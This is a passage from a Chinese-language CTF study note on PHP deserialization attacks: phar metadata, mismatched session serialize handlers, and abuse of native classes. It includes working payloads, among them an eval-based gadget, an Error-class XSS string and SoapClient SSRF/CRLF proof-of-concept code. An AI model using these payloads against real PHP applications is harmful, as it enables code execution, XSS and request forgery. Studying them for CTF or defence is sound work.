 $phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
 $phar->setMetadata($c); //触发的头是C1e4r类,所以传入C1e4r对象
 $phar->addFromString("exp.txt", "test"); //随便写点生成个签名
 $phar->stopBuffering();

最后把生成的exp.phar改成exp.jpg,上传并使用伪协议包含

?file=phar://upload/1561385518.jpg

成功得到base64之后的flag值


PHP-session反序列化

原理
session

首先看一个很简单的图片理解session

简单来说,session的设置就是把不同的客户端的信息打包存储在不同的文件中,然后用cookie里面的sessionID来指代不同的session文件从【这里这个session文件又可以涉及到其他漏洞,比如利用session文件来进行文件包含利用等等】

具体的实例应用:比如一个网站的登录验证,如果用户登录成功了,就存储一个session,并且一天之内不会过期,那么用户这一天之内都可以利用session直接登录而不用重复输入账密验证

session_start()
  • 如果游览器访问服务器,如果没有携带SESSIONID,那么服务器就会创建一个session,并且把这个session的JSESSIONID返回给游览器。
  • 如果游览器携带了SESSIONID,那么游览器在访问时就会携带。而服务器在使用session时,就会使用这个JSESSIONID的session。

如果你不想在每个脚本都使用session_start函数来开启session,可以在php.ini配置文件里设置“session.auto_start=1”,则无须每次使用session之前都要调用session_start函数。但启用该选项也有一定限制,则不能将对象存入session中,因为类定义必须在启动session之前加载。所以不建议使用php.ini中的“session.auto_start=1”属性来开启session。

流程
  1. PHP脚本使用 session_start()时开启session会话,会自动检测PHPSESSID
    • 如果Cookie中存在,获取PHPSESSID
    • 如果Cookie中不存在,创建一个PHPSESSID,并通过响应头以Cookie形式保存到浏览器
  2. 初始化超全局变量$_SESSION为一个空数组
  3. PHP通过PHPSESSID去指定位置(PHPSESSID文件存储位置)匹配对应的文件
    • 存在该文件:读取文件内容(通过反序列化方式),将数据存储到$_SESSION
    • 不存在该文件: session_start()创建一个PHPSESSID命名文件
  4. 程序执行结束,将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中
PHP session 反序列化机制

在php.ini中存在session.serialize_handler配置,定义用来序列化/反序列化的处理器名字,默认使用php。 php中的session中的内容是以文件的方式来存储的 存储方式由配置项session.save_handler确定,默认是以文件的方式存储。

处理器(引擎)

session.serialize_handler是用来设置session的序列话处理器的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

  • php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');

PHP中session本身的序列化机制是没有问题的 问题出在了如果在序列化和反序列化时选择的处理器不同,就会带来安全问题 当使用php引擎的时候,php引擎会以作为作为key和value的分隔符,对value多进行一次反序列化,达到我们触发反序列化的目的

利用

存在s1.php和s2.php,两个文件所使用的的session引擎不一样,就形成了一个漏洞。

1
2
3
4
5
6
 //s1.php中,使用php_serilise来处理session。
 //php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
 <?php
     ini_set('session.serialize_handler', 'php_serialize');
  session_start();
     $_SESSION["spoock"]=$_GET["a"];
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 //s2.php中,用php来处理session
 //php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
 <?php
  ini_set('session.serialize_handler','php');
  session_start();
  class lemon{
             var $hi;
              public function __construct(){
$this->hi='phpinfo();';
}

public function __destruct(){
eval($this->hi);
}
        }

在我们访问s1,php时,构造如下payload:

 locallhost/s1.php?a=O:5:”lemon”:1:{s:2:”hi”;s:14:”echo “spoock”;”;}

传进去的 a 在s1.php中进行序列化,引擎是php_serialize,

所以最后存储的内容是:

a:1:{s:6:"spoock";s:48:"O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}" }

然而,在s2.php中,我们读取数据却选择的php,此时读取的内容就是:

1
2
3
4
5
6
7
8
9
10
 Array
 (
    [a:1:{s:6:"spoock";s:48:"] => __PHP_Incomplete_Class Object
        (
            [__PHP_Incomplete_Class_Name] => lemon
            [hi] => echo "spoock";
        )
 ​
    [spoock] => O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
 )

因为我们使用PHP引擎的时候,PHP引擎会用 作为 key 和 value 的分隔符,就会将 `a:1:{s:6:"spoock";s:48:"作为session的key,将O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}" }作为value,进行反序列化的时候就会得到lemon这个类。

那么我们访问us2.php的时候,就会执行我们写入的echo spock这个操作。


PHP原生类的利用

利用方向
  • 读取文件
  • 构造xss
  • Error绕过
  • SSRF
  • 获取注释内容

参考

https://johnfrod.top/%E5%AE%89%E5%85%A8/ctf-%E4%B8%AD-php%E5%8E%9F%E7%94%9F%E7%B1%BB%E7%9A%84%E5%88%A9%E7%94%A8/

原生类概念

原生类就是php内置类,不用定义php自带的类,即不需要在当前脚本写出,但也可以实例化的类。

PHP原生类就是在标准PHP库中已经封装好的类,而在其中,有些类具有一些功能,例如文件读取、目录遍历等,这就给了我们可乘之机,我们只需要实例化这些类,就可以实现文件读取这种敏感操作。

在CTF中,有时会遇到一些奇怪的题,比如没有给出反序列化的类,这个时候可能就需要用到PHP原生类了

常见的做题会遇见的类有

  • Error
  • Exception
  • SoapClient
  • DirectoryIterator
  • SimpleXMLElement
  • SplFileObject

这些类里面都有一些自带的方法,合理利用可以达到意想不到的效果。

XSS By Error/Exception
条件

Error 适用于PHP7版本【在开启报错的前提下】,Exception则PHP5和PHP7都可以【在开启报错的前提下】。

原理

Error类中含有一个__tostring魔术方法,如果把它当做字符串使用,就会触发该魔术方法。例如我们对其进行输出操作(echo),此时就会自动调用__tostring魔术方法,如果Error类中内容为XSS恶意语句,此时就会导致XSS

demo
1
2
3
4
 <?php
 $a = unserialize($_GET['a']);
 echo $a;
 ?>

这个例子中,echo了一个对象,并且没有给出反序列化的类,这个时候就要考虑原生类并且关注_tostring这个方法了。

1
2
3
4
5
 <?php
 $a = new Error("<script>alert('xss')</script>");//Exception直接替换Error
 echo urlencode(serialize($a));  
 //O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A39%3A%22D%3A%5CphpStudy%5CPHPTutorial%5CWWW%5Chtml%5Cqq.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
 ?>

echo的时候,直接触发Error类里面的_tostring,直接执行js代码实现xss。

SSRF By SoapClient

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

类摘要:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 SoapClient {
     /* 方法 */
     public __construct ( stringnull $wsdl , array $options = [] )
     public __call ( string $name , array $args ) : mixed
     public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : stringnull
     public __getCookies ( ) : array
     public __getFunctions ( ) : arraynull
     public __getLastRequest ( ) : stringnull
     public __getLastRequestHeaders ( ) : stringnull
     public __getLastResponse ( ) : stringnull
     public __getLastResponseHeaders ( ) : stringnull
     public __getTypes ( ) : arraynull
     public __setCookie ( string $name , stringnull $value = null ) : void
     public __setLocation ( string $location = "" ) : stringnull
     public __setSoapHeaders ( SoapHeaderarraynull $headers = null ) : bool
     public __soapCall ( string $name , array $args , arraynull $options = null , SoapHeaderarraynull $inputHeaders = null , array &$outputHeaders = null ) : mixed
 }

可以看到有一个__call 方法,当__call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。

SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息),其次我们知道某个实例化的类,如果去调用了一个不存在的函数,会去调用 __call 方法。

利用这一点构造poc:

1
2
3
4
5
6
7
 <?php
 $a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));
 $b = serialize($a);
 echo $b;
 $c = unserialize($b);
 $c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
 ?>

但是,由于它仅限于HTTP/HTTPS协议,所以用处不是很大。而如果这里HTTP头部还存在CRLF漏洞的话,但我们则可以通过SSRF+CRLF,插入任意的HTTP头。

如何ssrf和crlf组合拳?

ssrf利用SoapClient去发出http请求并通过 SoapClient 来设置 User-Agent ,将原来的 Content-Type 挤下去,从而再插入一个新的 Content-Type 或者其他的请求头数据。【content-type是因为我们要上传post数据,需要把content-tyoe改为application/x-www-form-urlencoded。】

某CTF题目复现:

https://www.anquanke.com/post/id/238482#h3-12 [详细]

http://psych.green/psych/web/ctf/%e7%ac%ac%e4%ba%94%e5%b1%8a%e5%ae%89%e6%b4%b5%e6%9d%af-2022-web-writeup.html#BabyPHP [安洵杯BabyPHP,个人博客]

https://www.cnblogs.com/20175211lyz/p/11515519.html [LCTF]

[LCTF]整体思路:

  • 题目要求当REMOTE_ADDR等于127.0.0.1时,就会在session中插入flag,就能得到flag。所以我们想办法利用ssrf去修改请求,让REMOTE_ADDR等于127.0.0.1 <?php
     $target = “http://127.0.0.1/flag.php“;
     $attack = new SoapClient(null,array(‘location’ => $target,
         ‘user_agent’ => “N0rth3ty\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n”,
         ‘uri’ => “123”));
     $payload = urlencode(serialize($attack));
     echo $payload;
  • 这里这个POC就是利用CRLF伪造本地请求SSRF去访问flag.php,并将得到的flag结果保存在cookie为 PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4 的session中。
  • 现在flag被我们存储在了cookie为 PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4 的session中,我们要想办法进入这个session
  • 要想办法序列化这个对象,但是源代码并没有可以直接利用的可以序列化的地方,又在题目里面找到了一个session_start()函数,我们就想办法通过session反序列化来做
  • 题目中比较关键的函数就是call_user_fun($b,$a),我们知道call_user_func()是把第一个参数作为函数第二个参数作为函数传入的值。或者把第一个参数作为类名,第二个参数作为方法名。
  • 我们构造call_user_fun(seesioon_start,serialize_handler=php_serialize)然后通过session反序列化,我们成功将我们php原生类SoapClient构造的payload传入了 PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4 的session中,当页面重新加载时,就会自动将其反序列化
  • 现在我们需要触发SoapClient里面的__call来造成ssrf,所以我们需要访问一个SoapClient里面的不存在的方法名
  • call_user_fun($b,$a)【其中$a = array(reset($_SESSION), ‘welcome_to_the_lctf2018’);】构造成`call_user_func(call_user_func, array(reset($_SESSION), ‘welcome_to_the_lctf2018’));`成功触发call方法。
  • 最后,我们第三次传参,用我们POC里面自己设置的cookie(PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4)去访问这个页面,var_dump($_SESSION); 会将 PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4 的这个session内容输出出来,即可得到flag